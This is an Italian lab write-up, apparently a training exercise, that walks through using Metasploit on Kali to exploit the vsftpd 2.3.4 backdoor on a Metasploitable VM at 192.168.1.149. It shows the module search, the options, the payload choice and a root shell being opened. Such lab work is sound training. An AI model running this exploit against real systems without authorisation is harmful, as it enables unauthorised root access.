

# Hacking con Metasploit

L'esercizio di oggi consiste nel fare una sessione di hacking con metasploit, in cui bisognava cambiare l'ip di metasploitable a 192.168.1.149/24 come in foto.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:a6:72:76
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea6:7276/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:31 errors:0 dropped:0 overruns:0 frame:0
          TX packets:129 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2798 (2.7 KB)  TX bytes:17285 (16.8 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

Dopo aver cambiato l'indirizzo di metasploitable ci dirigiamo su kali linux dove sarà la maggior parte dell'esercizio.

Prima parte dell'esercizio bisogna eseguire una scansione con (nmap -sV) troveremo la porta 21 ossia vsftpd, che useremo da metasploit già preinstallato su kali, per avviare metasploit bisogna eseguire il comando (msfconsole) e poi eseguiamo il comando (search vsftpd) che ci aiuta a trovare la porta 21 che andremo a sfruttare.

```
msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes     VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execut
ion

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

Dopo aver trovato la porta interagiamo con use exploit per sapere se la porta è aperta o meno, e individuare se è in uso contro altri.

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
-  -  -  -
CHOST      192.168.1.149    no        The local client address
CPORT      21               no        The local client port
Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      21               yes       The target port (TCP)
```

Dopo aver cambiato l'ip del HOST target controlliamo che non ci sia payload come in foto

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  -  -  -  -
0  payload/cmd/unix/interact               normal         No      Unix Command, Interact with Established Connection
```

Allora usiamo exploit per hackerare metasploitable e per controllare che tutto è andato a buon fine basta usare il comando (ifconfig) e se ci restituisce l'indirizzo di metasploitable allora è tutto giusto come in foto.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:41711 → 192.168.1.149:6200) at 2024-03-04 09:49:25 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:a6:72:76
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea6:7276/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3142 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2895 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:249932 (244.0 KB)  TX bytes:237306 (231.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```